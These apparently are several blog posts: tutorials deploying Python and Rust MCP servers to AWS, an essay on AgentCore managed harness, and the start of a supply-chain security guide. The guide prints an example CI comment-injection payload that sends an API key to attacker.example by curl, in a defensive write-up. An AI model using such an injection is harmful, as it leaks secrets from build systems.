The high level MCP tool implementation is the same no matter what low level transport channel/method that the MCP Client uses to connect to a MCP Server.

The simplest transport that the SDK supports is the stdio (stdio/stdout) transport — which connects a locally running process. Both the MCP client and MCP Server must be running in the same environment.

The HTTP transport allows the MCP client and server to run in the same environment or distributed over the Internet.

The connection over HTTP will look similar to this:

mcp.run(
        transport="http",
        host="0.0.0.0",
        port=port,
    )

Running the Python Code

First- switch the directory with the Python MCP sample code:

cd ~/gemini-cli-aws/mcp-ebs-python-aws

Refresh the AWS credentials:

xbill@penguin:~/gemini-cli-aws/mcp-ebs-python-aws$ aws login --remote

xbill@penguin:~/gemini-cli-aws/mcp-ebs-python-aws$ source save-aws-creds.sh 
Exporting AWS credentials...
Successfully saved credentials to .aws_creds
The Makefile will now automatically use these for deployments.

Run the deploy version on the local system:

xbill@penguin:~/gemini-cli-aws/mcp-ebs-python-aws$ make deploy
Creating Lightsail instance mcp-vps-python-aws...
Instance already exists or creation in progress.
Waiting for instance mcp-vps-python-aws to reach 'running' state...
Instance is running.

You can validate the final result by checking the messages:

  Environment Status: mcp-server-eb-env
   * Status: Ready
   * Health: Green
   * Platform: Docker running on 64bit Amazon Linux 2/4.8.2
   * Deployed Version: app-260508_165941877951
   * CNAME: mcp-server-eb-env.eba-ce3smmqd.us-east-1.elasticbeanstalk.com

  Recent Events
  The environment was recently created and updated successfully:
   * 20:56:10: createEnvironment started.
   * 20:59:32: Initial instance deployment completed.
   * 20:59:38: Successfully launched environment.
   * 21:00:03: Subsequent instance deployment completed successfully.

You can then get the endpoint:

 > make endpoint

  Retrieving Application Endpoint: Retrieving the public endpoint URL of the Elastic Beanstalk environment.

╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ ✓ Shell make endpoint │
│ │
│ http://mcp-server-eb-env.eba-ce3smmqd.us-east-1.elasticbeanstalk.com │
│ │
╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

✦ The public endpoint for your Elastic Beanstalk environment is:

  http://mcp-server-eb-env.eba-ce3smmqd.us-east-1.elasticbeanstalk.com

The service will be visible in the AWS console:

Gemini CLI settings.json

Once you have the deployed endpoint — update the Gemini CLI MCP settings:

{
  "mcpServers": {
    "mcp-ebs-python-aws": {
      "httpUrl": "http://mcp-server-eb-env.eba-ce3smmqd.us-east-1.elasticbeanstalk.com/mcp/"
    }
  }
}

Remote MCP Server Testing

Restart Gemini CLI and check for the new MCP tools:

xbill@penguin:~/gemini-cli-aws/mcp-ebs-python-aws$ gemini

 ▝▜▄ Gemini CLI v0.41.2
   ▝▜▄
  ▗▟▀ Signed in with Google /auth
 ▝▀ Plan: Gemini Code Assist Standard /upgrade

🟢 mcp-ebs-python-aws - Ready (1 tool)
  Tools:
  - mcp_mcp-ebs-python-aws_greet

Then the remote MCP tool in EBS can be called:

 > mcp_mcp-ebs-python-aws_greet Hello Beanstalk!

  Topic: Executing the greet tool to verify the MCP server functionality.

╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ ✓ greet (mcp-ebs-python-aws MCP Server) {"param":"Hello Beanstalk!"} │
│ │
│ Hello, Hello Beanstalk!! │
╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

✦ Hello, Hello Beanstalk!!

Gemini CLI can also summarize the deployment:

> summarize the deployment

✦ The mcp-ebs-python-aws project is a Python-based Model Context Protocol (MCP) server deployed to AWS Elastic Beanstalk (EB) using Docker.

  Deployment Architecture
   * Server Framework: Built with FastMCP and Starlette, providing an asynchronous foundation for MCP tools and standard HTTP endpoints.
   * Infrastructure: Uses the Elastic Beanstalk Docker platform, which automatically handles capacity provisioning, load balancing, and
     auto-scaling.
   * Compute: Defaults to t3.micro instances in the us-east-1 region.

  Deployment Workflow (make deploy)
  The deployment is automated via a Makefile and deploy.sh script:
   1. Validation: Runs unit tests using pytest to ensure code quality before deployment.
   2. Initialization: Uses the EB CLI (eb init) to configure the project for the AWS Docker platform.
   3. Provisioning: Creates the environment (eb create) if it doesn't exist, setting up the required AWS resources (ALB, ASG, EC2).
   4. Updates: Deploys code changes (eb deploy), which triggers a Docker build and rolling update on the EB instances.

  Key Endpoints
  Once deployed, the environment provides:
   * MCP SSE Transport: http://<eb-cname>/mcp
   * Health Check: http://<eb-cname>/health (used by EB for monitoring)
   * Root Info: http://<eb-cname>/

  Management Commands
   * make status: Displays the current health of the EB environment and recent deployment events.
   * make endpoint: Retrieves the public URL of the deployed server.
   * make aws-destroy: Terminates the environment and all associated AWS resources to stop billing.

Summary

The strategy for using Python for MCP development with Gemini CLI on Amazon EBS was validated with a incremental step by step approach.

This MCP server was then deployed to Amazon Elastic Bean Stalk. The local copy of Gemini CLI was used as a MCP client to validate the connection.

This approach can be extended to more complex deployments using other MCP transports and Cloud based options.

What AgentCore Managed Harness Takes Over, What It Leaves to You

Kento IKEDA — Fri, 08 May 2026 21:03:13 +0000

On April 22, 2026, AWS added a "managed agent harness" (preview) to Amazon Bedrock AgentCore. With this feature, you declare the model, system prompt, and tools as configuration, and the agent runs—the orchestration code lives on the AWS side as managed.

https://aws.amazon.com/blogs/machine-learning/get-to-your-first-working-agent-in-minutes-announcing-new-features-in-amazon-bedrock-agentcore/

What stands out about this release is less the feature itself and more AWS's adoption of the term "agent harness." Since Martin Fowler wrote his harness engineering essay in February 2026, Anthropic and OpenAI have started using "harness" officially, and now a cloud vendor has applied the same word to its own service.

https://martinfowler.com/articles/harness-engineering.html

From the perspective of someone who has been assembling a harness by hand, the question becomes: what does managed harness take over, and what stays in my hands? This article sorts out that dividing line. Drawing on experience running business-automation agents with Claude Desktop, multiple MCP servers, and Markdown-based knowledge, I lay out the correspondence with AgentCore managed harness.

A few "tried it out" articles have already been published, so this article positions itself as the prequel: it offers material for deciding whether to adopt, not adopt, or how to phase in. Drawing on the official blog, documentation, and existing explanatory articles as sources, I sort out the correspondence and the judgment criteria that emerge from self-built operation.

AWS released "managed harness"

The official blog mentioned above lays out the structure: every agent has an orchestration layer, and running that layer requires compute, a sandbox to safely execute code, tool connections, persistent storage, and error recovery as the underlying infrastructure—bundled together, they form the agent harness. Managed harness is AWS providing this harness as a managed offering, where the user declares the model, system prompt, and tools as configuration, and a working agent is the result.

Let me first align on what the word "harness" refers to. The term gets used both for what the vendor builds in (internal) and for what the user assembles around the agent (external), and the meaning shifts with context. In addition to Fowler's framing, watany has organized the internal/external confusion in a Zenn article.

https://zenn.dev/watany/articles/d8b692bbca65a3

This article is written from the position of "someone who has been assembling the external environment by hand"—the user-side harness, in operation. AgentCore managed harness can be read as the vendor-side internal harness now offered as managed, but from the user's perspective, it can also be read as: part of what we used to build for ourselves can now be delegated. This duality is the starting point for thinking about where responsibilities split with self-built operation.

Self-built harness composition, the four blank layers

Let me map my self-built harness to AgentCore's components. The environment I've been operating consists, broadly, of three elements, and I'll lay out how each one corresponds to something on the AgentCore side.

Self-built harness	AgentCore side	Degree of correspondence
Markdown knowledge files (under `agents/`, `knowledge/`)	AgentCore Memory	Similar role; persistence and retrieval mechanisms differ
MCP servers (task management / calendar / chat / document management, etc.)	AgentCore Gateway	MCP is becoming the standard, so they're close
Claude Desktop	AgentCore Runtime	The execution base for the agent loop, at a different scale
(none)	AgentCore Identity	Not implemented in self-built
(none)	AgentCore Policy	Not implemented in self-built
(none)	AgentCore Observability	Not implemented in self-built
(none)	AgentCore Evaluations	Not implemented in self-built

The top three are the correspondence between "what I assembled by hand" and "what AgentCore provides as managed for the same role." The bottom four are blank layers in the self-built harness—components AgentCore offers that aren't covered by my operation.

The natural question here is whether these four blank layers are "things I didn't write because I didn't need them" or "things I wanted but had given up on." The two are different. For the former, introducing managed harness yields little value; for the latter, it brings value.

Let me go through the four layers in order.

Identity is for managing authentication and permissions when multiple users access the agent. Since my self-built harness runs on a personal device, authentication can rely on the device login, and per-agent authentication wasn't necessary. This is unnecessary "as long as it's just me." The moment you try to share an agent across an organization, controlling who can call which MCP for what becomes a problem, and the gap surfaces in the form of resignation.

Policy is the mechanism for declaratively defining boundaries when the agent calls tools. It's based on Cedar, AWS's open-source policy language, and you can generate policies from natural language. In my self-built harness, I draw loose boundaries through MCP server scopes and by documenting "what not to do" in the knowledge files—but this is discipline, not enforcement. I had wanted to write strong, enforceable boundaries, but didn't have the motivation to build a Cedar-equivalent system myself, so I had given up on this area.

Observability is the mechanism for emitting agent execution logs, traces, and metrics to CloudWatch for visualization. In my self-built harness, I have the conversation history in Claude Desktop and individual logs from each MCP server, but no mechanism to track "which agent called what when, and how it failed" across the board. For solo use, looking at the chat screen suffices, but this becomes necessary in organizational deployment, and falls into the resignation category.

Evaluations is the mechanism for continuously evaluating the agent's response quality, with built-in evaluators for dimensions like helpfulness, tool-selection accuracy, and correctness. In my self-built harness, I check subjectively through knowledge-file improvement history and daily work logs, but I have no quantitative quality monitoring. For solo use, subjective is enough; but for organizational operation or paid services, this becomes essential.

Looking back at the four layers, only Identity falls into "unnecessary as long as it's just me," while the other three fall into "would have been nice, but had given up on as self-built." The fact that the meaning of "blank" differs by layer affects the judgment of whether to adopt managed harness.

Layers managed harness takes over, layers it leaves

When you use managed harness, what stops being something you write, and what continues to require writing? This can be derived as fact from the official blog and documentation, so let me sort it out first.

What managed harness takes over is the following range:

The agent loop: calling the model, selecting tools, returning results, managing context, and recovering from errors
A microVM, filesystem, and shell isolated per session
Tool-connection orchestration via AgentCore Gateway
The framework portion based on Strands Agents

Conversely, what users still need to write even when using managed harness is the following range:

Which model to use
What to write in the system prompt
Which tools to make callable
What goes into AgentCore Memory and what doesn't
What boundaries to declare in AgentCore Policy

Since declaration-based configuration suffices, the amount of code drops significantly. However, the five items above are simply "what you write as configuration changes"—the judgments themselves don't go away. They just shift into the form of the harness.json configuration file. Reading preview validation articles by people who have actually tried managed harness, you'll see that harness.json lists the model and tool list as declarations, while a separate system-prompt.md file holds the system prompt.

https://dev.classmethod.jp/articles/bedrock-agentcore-managed-harness-preview/

https://github.com/aws-samples/sample-AgentCore-Managed-Harness-News

This looks like what was previously written as Markdown system-prompt files and MCP connection definitions in the self-built harness, repackaged into AWS's configuration file format.

In other words, what managed harness takes over is "the labor of writing orchestration code," not "the judgment of designing the agent." Design judgments still rest with the user. AWS expresses this as removing the infrastructure barrier, but the non-infrastructure part—"what is this agent for, and how far should it be allowed to go"—remains on the human side, whether it's managed or self-built.

This distinction is an important perspective when judging whether to adopt managed harness. The pitch "you don't have to write code" is accurate, but reading it as "you don't have to think" makes it inaccurate.

Where self-built operation can articulate "the place of design judgments"

When you operate a self-built harness, you accumulate judgments about "where it's okay to move things, and where you must not." These don't go away when you adopt managed harness. The place where they appear shifts to the contents of harness.json, but the judgments themselves continue to rest on the human side. Let me name a few representative ones.

Knowledge file granularity. Whether to split your Markdown knowledge "by role" or "by task" is a judgment that, once made, eases subsequent operation. Splitting by role lets agent dispatch fall naturally out of context. Splitting by task scatters cross-task knowledge. There's no simple winner; the optimum depends on the number of agents you operate and how tasks overlap. Even with managed harness, the same question—what to combine in Memory and what to separate—remains.

MCP server combination design. This is the line between "how far to wire up as tools via MCP" and "how far to handle through local file operations." For example, task management is better suited to MCP via API for automation, while sensitive tasks are safer kept as local file operations—judgments that emerge through use. Managed harness's Gateway has to answer the same question, just translated into declarations in a tool list.

Agent-to-agent responsibility split. This is the design choice between having a coordinator agent that judges context and dispatches to specialist agents, or calling specialist agents directly from the start. The coordinator style depends on context-judgment accuracy; the direct-call style puts the discrimination burden on the user. This too remains as a design judgment in managed harness, in the form of how to arrange and connect multiple harnesses.

These three are judgments that are hard to articulate without operating self-built first. If you start from managed harness, these judgments end up looking "as if they were optimally placed from the beginning." In reality, you've just fixed the premises, but inside fixed premises, the existence of design judgments themselves becomes harder to see.

Why not just use managed harness from the start?

Here's a counterargument I anticipate: "If we just use managed harness from the start, we won't need to build anything ourselves."

I partially agree with this counterargument. If you're building a new agent for organizational production from zero, going in through managed harness is faster, I think. However, the design of an agent to run in production rarely "is visible from the start." Only by actually using the agent do the granularity of knowledge, the over- and under-supply of tools, and the boundaries of responsibility come into view. Whether you run this discovery flow on top of a managed harness with set boundaries, or on a self-built harness with high freedom, changes the amount of learning you get.

Another perspective: judgments gained from self-built operation can be reused as a blueprint when you migrate to managed harness. If you go into managed harness without a blueprint, you can produce something that appears to work, but a system remains where it's hard to explain why it was structured that way. Whether "let's just put it on managed harness and improve it as we go" works depends on whether one person is improving or multiple people are improving. For one person, the iteration speed gap between self-built and managed may be small; but at the stage where multiple people improve, the declarative changes in harness.json and the deploy-unit iteration cycle start to take a toll as operational debt.

Order of adoption: where personal and organizational use diverge

Whether to adopt managed harness can naturally branch by operational scale. Let me go through three stages.

In the personal-use stage, where one person is using the agent, the self-built harness is often sufficient. The editing and use of knowledge files are tightly coupled, and the iteration of "rewrite Markdown the moment you notice something while using it" runs fast. Both Identity and Observability are hard to recognize as gaps as long as you're operating solo, and end up in the "would-be-nice-to-have, maybe" zone. In the experimental stage, this freedom directly translates into learning speed.

At the stage of expanding to organizational operation where multiple people use the agent, the four blank layers all surface as problems at once. You need audit logs of who used which agent how (Observability); you start running into situations where shared environments must not allow tools to be called freely, so boundaries become necessary (Policy); you need to manage credentials per member (Identity); you want to continuously measure agent response quality (Evaluations). At this stage, the value of managed harness comes to the fore. Comparing the labor of writing the four layers yourself versus putting them on AgentCore, the latter becomes practical.

In the transition phase, you can take a hybrid strategy. Continue the personal exploration stage with a self-built harness, and put only the confirmed paths used in organizational operation onto managed harness. Move agents whose design has settled to AgentCore in order, and keep agents that are still being learned on while running close at hand.

There's also a guideline for the order of adoption. The first things needed for organizational deployment are Identity and Observability, then Policy, and finally Evaluations. Without Identity, sharing itself doesn't get established. Without Observability, the organization can't make operational judgments. Policy is often too late after an incident, so placing it early in organizational deployment is safer. Evaluations can come in the order of "after operation gets going, then introduce quality measurement"—that's fine.

The harness was originally a concept lying at the boundary between those who build agents and those who use them. With AWS releasing managed harness, part of what we used to assemble by hand has shifted into a mechanism that runs simply by declaring it as configuration. The fact that layers like Identity, Observability, and Policy—which I had given up on as self-built—have come within reach is no small thing.

Even so, design judgments such as "what is this agent for," "what to leave in the knowledge," and "how far to grant tools authority" haven't been put into a form you can declare as configuration. The basis of these judgments will continue to live in the commit history and work logs of one's own repository. The experience of having built a self-built harness leaves behind, in your hands, knowledge that doesn't lose its value when you migrate to managed. With the arrival of managed harness, the boundary between "the layers we build ourselves" and "the layers only human judgment can carry" has become more clearly visible than before, you might say.

Deploying a Rust MCP Server to Amazon LightSail

xbill — Fri, 08 May 2026 18:01:57 +0000

The rmcp crate and standard Rust libraries are used to build a basic MCP Server in Rust. This MCP Server is then built and deployed to AWS LightSail and validated locally with Gemini CLI

More MCP Demos?

Yes sir. Ferris the Crab demands it.

Why not just use Python?

Python has traditionally been the main coding language for ML and AI tools. One of the strengths of the MCP protocol is that the actual implementation details are independent of the development language. The reality is that not every project is coded in Python- and MCP allows you to use the latest AI appt roaches with other coding languages.

What is this Tutorial Trying to Do?

Building on previous tutorials, the goal is to extend a Rust MCP server with basic support for deployment to AWS.

What is Rust?

Rust is a high performance, memory safe, compiled language:

Rust

Rust provides memory safe operations beyond C/C++ and also can provide exceptional performance gains as it is compiled directly to native binaries.

So is this the real Slim Shady?

So what is different about this lab compared to all the others out there?

This is one of the first deep dives into deploying a Rust based MCP server hosted on AWS. The Amazon LightSail service was targeted for ease of setup and deployment.

Rust Setup

Instructions to install Rust are available here:

Getting started

For a Linux like environment the command looks like this:

curl — proto ‘=https’ — tlsv1.2 -sSf https://sh.rustup.rs | sh

Rust also depends on a working C compiler and OpenSSL setup. For a Debian 12 system — install the basic tools for development:

sudo apt install build-essential
sudo apt install libssl-dev
sudo apt install pkg-config
sudo apt-get install libudev-dev
sudo apt install make
sudo apt install git

Gemini CLI

If not pre-installed you can download the Gemini CLI to interact with the source files and provide real-time assistance:

npm install -g @google/gemini-cli

Testing the Gemini CLI Environment

Once you have all the tools and the correct Node.js version in place- you can test the startup of Gemini CLI. You will need to authenticate with a Key or your Google Account:

▝▜▄ Gemini CLI v0.33.1
    ▝▜▄
   ▗▟▀ Logged in with Google /auth
  ▝▀ Gemini Code Assist Standard /upgrade no sandbox (see /docs) /model Auto (Gemini 3) | 239.8 MB

AWS CLI

The AWS CLI provides a command line tool to directly access AWS services from your current environment. Full details on the CLI are available here:

Install Docker, AWS CLI, and the Lightsail Control plugin for containers

You can version check the tool after installation:

xbill@penguin:~/gemini-cli-aws/mcp-lightsai-rust-aws$ aws --version
aws-cli/2.34.43 Python/3.14.4 Linux/6.6.99-09128-g14e87a8a9b71 exe/x86_64.debian.12

Amazon Lightsail

Amazon Lightsail is an easy-to-use virtual private server (VPS) provider and cloud platform designed by AWS for simpler workloads, offering developers pre-configured compute, storage, and networking for a low, predictable monthly price. It is ideal for hosting small websites, simple web apps, or creating development environments.

More information is available on the official site here:

Amazon's Simple Cloud Server | Amazon Lightsail

And this is the direct URL to the console:

https://lightsail.aws.amazon.com/ls/webapp/home/containers

The Lightsail console will look similar to:

Setup the Basic Environment

At this point you should have a working Rust environment and a working Gemini CLI installation. All of the relevant code examples and documentation is available in GitHub.

The next step is to clone the GitHub repository to your local environment:

cd ~
git clone https://github.com/xbill9/gemini-cli-aws

Then run init.sh from the cloned directory.

The script will attempt to determine your shell environment and set the correct variables:

source init.sh

If your session times out or you need to re-authenticate- you can run the set_env.sh script to reset your environment variables:

source set_env.sh

Variables like PROJECT_ID need to be setup for use in the various build scripts- so the set_env script can be used to reset the environment if you time-out.

Refresh the AWS credentials:

xbill@penguin:~/gemini-cli-aws/mcp-lightsail-rust-aws$ aws login --remote
Browser will not be automatically opened.

xbill@penguin:~/gemini-cli-aws/mcp-ligthsail-rust-aws$ source save-aws-creds.sh 
Exporting AWS credentials...
Successfully saved credentials to .aws_creds
The Makefile will now automatically use these for deployments.

Finally install the packages and dependencies:

~/gemini-cli-aws/mcp-lightsail-rust-aws 
make install

Build The Rust MCP Server

Some background information on building and configuring a Rust MCP server is here:

Building a Secure HTTP Transport MCP Server with Rust, and Gemini CLI

The mcp-lightsail-rust subdirectory has the complete Rust MCP server in one subdirectory.

Minimal System Information Tool Build

The first step is to build the basic tool directly with Rust. This allows the tool to be debugged and tested locally before adding the MCP layer.

First build the tool locally:

xbill@penguin:~/gemini-cli-aws/mcp-lightsail-rust-aws$ make
Building the Rust project...
   Compiling mcp-lightsail-rust-aws v1.0.0 (/home/xbill/gemini-cli-aws/mcp-lightsail-rust-aws)
    Finished `dev` profile [unoptimized + debuginfo] target(s) in 7.67s
xbill@penguin:~/gemini-cli-aws/mcp-lightsail-rust-aws$

then lint check the code:

xbill@penguin:~/gemini-cli-aws/mcp-lightsail-rust-aws$ make lint
Linting code...
    Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.61s
xbill@penguin:~/gemini-cli-aws/mcp-lightsail-rust-aws$

and run local tests:

xbill@penguin:~/gemini-cli-aws/mcp-lightsail-rust-aws$ make test
Running tests...
    Finished `test` profile [unoptimized + debuginfo] target(s) in 0.22s
     Running unittests src/main.rs (target/debug/deps/mcp_lightsail_rust_aws-926af5aee1927183)

running 1 test
test tests::test_greeting ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s

The last step is to build the production version:

xbill@penguin:~/gemini-cli-aws/mcp-lightsail-rust-aws$ make release
Building Release...
   Compiling mcp-lightsail-rust-aws v1.0.0 (/home/xbill/gemini-cli-aws/mcp-lightsail-rust-aws)
    Finished `release` profile [optimized] target(s) in 43.31s
xbill@penguin:~/gemini-cli-aws/mcp-lightsail-rust-aws$

The MCP server can be started locally:

xbill@penguin:~/mcp-adk-rust/mcp-cloudrun-rust$ make start
Building Release...
    Finished `release` profile [optimized] target(s) in 0.14s
Starting the MCP server...
Server started with PID 1569

Then Gemini CLI is used as a MCP client:

🟢 local-rust - Ready (1 tool)
  Tools:
  - mcp_local-rust_greeting

The MCP tool can then be tested:

> mcp_local-rust_greeting local

╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ Action Required │
│ │
│ ? greeting (local-rust MCP Server) {"message":"local"} │
│ │
│ MCP Server: local-rust │
│ Tool: greeting │
│ │
│ MCP Tool Details: │
│ (press Ctrl+O to expand MCP tool details) │
│ Allow execution of MCP tool "greeting" from server "local-rust"? │
│ │
│ 1. Allow once │
│ 2. Allow tool for this session │
│ 3. Allow all server tools for this session │
│ ● 4. Allow tool for all future sessions ~/.gemini/policies/auto-saved.toml │
│ 5. No, suggest changes (esc) │
╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

✦ The mcp_local-rust_greeting tool was executed with the message "local", returning:
  "Hello World MCP! local"

Deploy To LightSail

A basic Dockerfile is used to build an image for deployment:

xbill@penguin:~/gemini-cli-aws/mcp-lightsail-rust-aws$ make deploy
Building the Docker image...
[+] Building 5.3s (15/15) FINISHED docker:default
 => [internal] load build definition from Dockerfile 0.0s

Get the Endpoint:

xbill@penguin:~/gemini-cli-aws/mcp-lightsail-rust-aws$ make endpoint
https://mcp-lightsail-rust-aws.6wpv8vensby5c.us-east-1.cs.amazonlightsail.com/

Check Gemini MCP settings:

{
    "mcpServers": {
    "aws-lightsail-rust": {
      "httpUrl": "https://mcp-lightsail-rust-aws.6wpv8vensby5c.us-east-1.cs.amazonlightsail.com/mcp"
    },
    "local-rust": {
      "httpUrl": "http://127.0.0.1:8080/mcp"
    }
  }
}

The service will be visible on the LightSail console:

Final Test

Start up Gemini CLI and check the MCP server status:

🟢 aws-lightsail-rust - Ready (1 tool)
  Tools:
  - mcp_aws-lightsail-rust_greeting

> mcp_aws-lightsail-rust_greeting Hello LightSail!

  Executing Lightsail Greeting: Executing the greeting tool for Amazon Lightsail Rust MCP server.

╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ ✓ greeting (aws-lightsail-rust MCP Server) {"message":"Hello LightSail!"} │
│ │
│ Hello World MCP! Hello LightSail! │
╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

✦ The mcp_aws-lightsail-rust_greeting tool returned:

  Hello World MCP! Hello LightSail!

Summary

A complete HTTP transport MCP server was built using Rust. This application was tested locally with Gemini CLI. Then, the entire solution was deployed to AWS LightSail. The remote MCP server was validated with Gemini CLI locally.

Twelve Trust Boundaries: A Field Guide to Supply-Chain Defense After axios@1.14.1

Ahmad Kanj — Fri, 08 May 2026 12:48:03 +0000

On March 30, 2026, an attacker who had stolen an axios maintainer's npm publish credentials pushed axios@1.14.1 to the registry. The version looked like a normal patch, a single-digit bump from 1.14.0. It was live for roughly three hours before the maintainer rotated credentials and the version was unpublished.

Three hours, on a Monday, during peak CI/CD hours across multiple time zones. Any team running pnpm install or npm install against a ^1.14.0 constraint pulled 1.14.1 automatically. (^1.14.0 means "any 1.x.y ≥ 1.14.0"; most package managers express the same idea: ~= in pip, ^ in Cargo, ~> in Gemfile.) No CVE was published during the window. SAST tools had nothing to flag.

axios@1.14.1 added one new transitive dependency (a dependency-of-a-dependency, pulled in indirectly): plain-crypto-js@4.2.1. That package's postinstall script ran node setup.js, which downloaded a Python-based RAT (Remote Access Trojan) from a C2 (command-and-control) server, exfiltrated environment variables and cloud credentials, and attempted to establish persistence on the build host. (postinstall is the canonical Node footgun, a hook the package manager runs automatically after install, with analogues in pip's setup.py build hooks, Ruby's gem extconf, and Cargo's build.rs.) The compromise wouldn't have been visible to anyone glancing at the lockfile diff: a new transitive in a stable utility, the kind of churn most teams approve without thinking.

Three hours is forever in CI. By the time npm pulled the version, the bytes had already shipped to thousands of build hosts.

Two weeks before that incident, I was reading through a workflow in our own repo that lets engineers trigger an LLM code review by commenting /review on a pull request. I stopped on this line:

# .github/workflows/opencode-review.yml:108
COMMENT_BODY="${{ github.event.comment.body || '' }}"

The if: block above it gated only on startsWith(comment.body, '/review'). There was no comment.author_association check. Anyone who could comment on a PR, including a drive-by from a public fork, could trigger this workflow. The job loaded OPENROUTER_API_KEY from AWS Secrets Manager, and ran with pull-requests: write, issues: write, and AWS OIDC (OpenID Connect short-lived workload identity, used here instead of long-lived API keys) in scope.

A comment body of /review"; curl -X POST attacker.example/x -d "$OPENROUTER_API_KEY would have run on the next CI build. CWE-78: OS command injection, untrusted input concatenated into a shell command. Found, scoped, fixed in a four-line diff.

Two attacks, very different mechanics. axios was a credential-theft → publish → postinstall chain at the registry boundary. The CWE-78 was a comment-string interpolation at the workflow boundary. The connection: in both cases the attacker didn't write code "in" the repo. They injected code by abusing a trust relationship. We trusted axios's npm releases; we trusted GitHub event input. The perimeter is no longer your application. It's everything that runs before, during, and after your build, and the defense has to live in those same places.

I work on a monorepo spanning multiple projects (a single git repository hosting many services and libraries, JavaScript and TypeScript in our case, but the framework below maps to any monorepo or polyrepo, any language). A month after axios@1.14.1 shipped, a Slack message landed in our channel: "we have Wiz, SonarCloud, gitleaks, Renovate, but are we good?" Seven days later I had a triaged P0/P1/P2 list (12 P0s on auth, secrets, registry trust; 18 P1s on pinning, permissions, lifecycle; 17 P2s on logging, SBOM, hardening) and a branch with 48 files changed and +2,487 / −646 lines of supply-chain controls.

What follows is the framework I use, the specific findings I hit, the trade-offs I made, and the equivalent control in your stack, whether your repo is npm, pip, Maven, Go modules, Cargo, or RubyGems; whether your CI is GitHub Actions, GitLab, Buildkite, or Jenkins. The worked example here is pnpm and GitHub Actions because that's where I shipped it. The boundaries are stack-neutral.

Where the attack surface actually lives now

Your application's attack surface is bounded. A handful of endpoints, an auth system, a database. You can audit it, pen-test it, threat-model it on a whiteboard in an afternoon.

Your supply chain is not bounded. It's the transitive closure of every package you import, every CI Action / GitLab include / Buildkite plugin in every workflow, every base image FROM line in every Dockerfile, every binary your CI runner downloads at build time, every preset, every fork, every "trusted" community helper.

The math doesn't work in your favour. A typical mid-sized application resolves on the order of 1,000–3,000 transitive dependencies in its lockfile (the resolved-versions file your package manager writes: package-lock.json, Pipfile.lock, Cargo.lock, Gemfile.lock, go.sum). A typical CI pipeline chains 10–30 third-party Actions / plugins. Across a multi-year horizon, the probability that none of those maintainers gets phished, social-engineered, or leaks a publish token approaches zero.

Recent incidents to anchor frequency:

2018: event-stream (npm advisory 737): maintainer handed package to a malicious "helpful contributor" who added a payload in a sub-dependency. Targeted exfiltration of private keys from the Copay/copay-dash Bitcoin wallet specifically; conditional payload, no effect on other consumers.
2021: ua-parser-js: npm account takeover. Crypto miner and credential theft on every install. ~4 hours before takedown.
2021: codecov bash uploader (CVE-2021-32699): modified upload script harvested CI environment variables. HashiCorp, Twilio, Confluent affected.
2022: node-ipc (CVE-2022-23812): maintainer protestware. Wiped files on Russian and Belarusian IPs.
2024: xz-utils (CVE-2024-3094): multi-year insider. The "Jia Tan" persona spent ~2 years building trust before merging an OpenSSH authentication backdoor via liblzma linkage with a specific Ed448 key. Discovered by Postgres engineer Andres Freund investigating ~500 ms of sshd login latency, before the affected versions reached most stable distributions.
2024: @solana/web3.js (GHSA-7493-mqf3-cv5g): npm token compromise. Wallet drainer in published versions for ~5 hours.
2025: tj-actions/changed-files (CVE-2025-30066): chained through reviewdog/action-setup (CVE-2025-30154) → stolen PAT → retroactive semver-tag rewrite. ~218 repos confirmed leaked secrets out of ~23,000 references per StepSecurity / Wiz post-incident telemetry.
2025: Shai-Hulud npm worm: the first true self-replicating npm worm. A postinstall harvested maintainer npm tokens and re-published the worm into every other package the victim maintained. ~180 packages compromised across multiple maintainer namespaces.
2025: Nx s1ngularity worm: npm postinstall on compromised Nx versions harvested GitHub PATs, SSH keys, and crypto wallets from build hosts; backdoored downstream nx-init- repositories. Directly relevant to anyone on an Nx monorepo.
2026: axios@1.14.1: as above.

Strip the variations and you get four primitives that every modern attack chains: dependency injection (typosquats, dependency confusion, maintainer compromise), build-time injection (postinstall hooks, curl-bashed installers, malicious Actions), mutable-reference rewrite (tag rewrites, branch tracking, CDN URLs without integrity), and trust-relationship abuse (compromise a tooling vendor, an MFA, a token in a CI log). axios chained (4) → (1) → (2). tj-actions chained (4) → (1) → (3) → (2). Any single layer of defense would have broken either chain. Most repos had none of them.

The twelve boundaries

Security engineers think in boundaries: points where trust transfers from one entity to another. Each boundary is a place attackers operate and a place defenders need a control. The twelve below split into three phases: what enters your repo (1–4); what runs during your build (5–9); what ships at runtime (10–12); plus a final section on what to do when one of them fails. Some will.

Phase 1. Source-side: what enters your repo

Boundary 1: Source → Repository (Who can write to `main`?)

Threat: insider with too-broad write access; accidental merge of malicious code.
Controls: branch protection, required reviewers, CODEOWNERS for security-sensitive paths (workflows, Dockerfiles, dependency manifests). Force-push protection on protected branches. Required status checks must include the controls below.

The forge-level (GitHub / GitLab / Bitbucket / Gerrit) primitives differ; the rule is identical: humans cannot push to main; only the merge bot can, and only after policy passes.

Boundary 2: Maintainer → Package (Is this dependency safe?)

Threat: typosquats, dependency confusion (publishing a public package whose name shadows a private one, tricking the resolver), maintainer compromise. axios@1.14.1 is the canonical example of the third: published from a stolen credential, malicious for three hours, gone afterwards.

Registry-time controls:

Pin to immutable identifiers. Lockfile committed; exact-version constraints; no caret/tilde ranges in production dependencies; pnpm install --frozen-lockfile (or npm ci, pip install --require-hashes, cargo --frozen --locked, mvn -B verify, bundle install --frozen, dotnet restore --locked-mode) in CI. The general invariant: every dependency entry resolves to a content-addressed artifact, not a URL.
Cooldown on freshly published versions. Reject packages younger than N days, on the premise that fresh-publish malware is detected and yanked within 24–72 hours. The premise has limits (xz-utils ran for ~2 years undetected), so this control buys hours-to-days of latency, not certainty.

   # pnpm-workspace.yaml. value is in minutes; 4320 min = 72 h = 3 days
   minimumReleaseAge: 4320

